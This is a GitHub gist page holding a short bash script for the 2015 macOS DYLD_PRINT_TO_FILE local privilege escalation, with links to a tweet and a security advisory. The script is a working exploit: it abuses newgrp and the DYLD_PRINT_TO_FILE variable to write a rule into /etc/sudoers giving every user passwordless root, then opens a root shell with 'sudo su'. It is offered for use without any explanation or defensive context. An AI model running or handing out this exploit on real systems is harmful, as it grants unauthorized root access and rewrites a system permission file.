Skip to content

Instantly share code, notes, and snippets.

@szhu

szhu/oops.bash

Created July 23, 2015 02:51
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save szhu/816822de3f171e6ce15c to your computer and use it in GitHub Desktop.
Save szhu/816822de3f171e6ce15c to your computer and use it in GitHub Desktop.
Download ZIP
DYLD_PRINT_TO_FILE vulerability
Raw
oops.bash
# https://twitter.com/nst021/status/623953011325468673
# https://www.sektioneins.de/en/blog/15-07-07-dyld_print_to_file_lpe.html
echo python -c '"import os; os.write(3,\"ALL ALL=(ALL) NOPASSWD: ALL\")"' | DYLD_PRINT_TO_FILE=/etc/sudoers newgrp
sudo su
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment